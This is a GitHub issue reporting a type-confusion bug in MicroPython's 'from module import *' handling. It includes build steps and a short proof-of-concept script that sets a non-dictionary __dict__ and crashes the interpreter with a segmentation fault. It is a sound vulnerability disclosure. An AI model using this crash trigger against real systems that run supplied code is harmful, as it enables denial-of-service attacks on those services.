MicroPython type confusion in star imports causes interpreter crash · Issue #19621 · micropython/micropython · GitHub
Skip to content

MicroPython type confusion in star imports causes interpreter crash #19621

Description

@Vectrain51

Port, board and/or hardware

No response

MicroPython version

No response

Issue Report

Summary

MicroPython v1.29.0-preview can be crashed by a Python script that places a non-dictionary value in an object's __dict__ attribute and then executes from module import *. The import path passes the value to mp_obj_dict_get_map() without validating its type.

Affected version tested:

v1.29.0-preview
commit 367178fce7a7513862b15f940afa75ba005ba67b

Details

Relevant source: py/runtime.c, mp_import_all().

The public interpreter flow is:

from m import * -> mp_import_all() -> __dict__ lookup -> mp_obj_dict_get_map() -> invalid memory access

An instance member named __dict__ can contain a non-dictionary value, which the import code treats as a native dictionary.

PoC

Build the Unix port from the tested tag:

git clone https://github.com/micropython/micropython.git
cd micropython
git checkout v1.29.0-preview
make -C ports/unix

Run the script through the built interpreter:

ports/unix/build-standard/micropython - <<'PY'
import sys

class M:
    pass

m = M()
m.__dict__ = 42
sys.modules["m"] = m
from m import *
PY

Observed:

Segmentation fault (core dumped)
exit code: 139

Impact

An attacker able to supply Python code to a MicroPython runtime can terminate the interpreter through the public from ... import * language feature. Remote exploitation depends on an application that executes attacker-controlled MicroPython code.

Code of Conduct

Yes, I agree

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    py-coreRelates to py/ directory in source

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions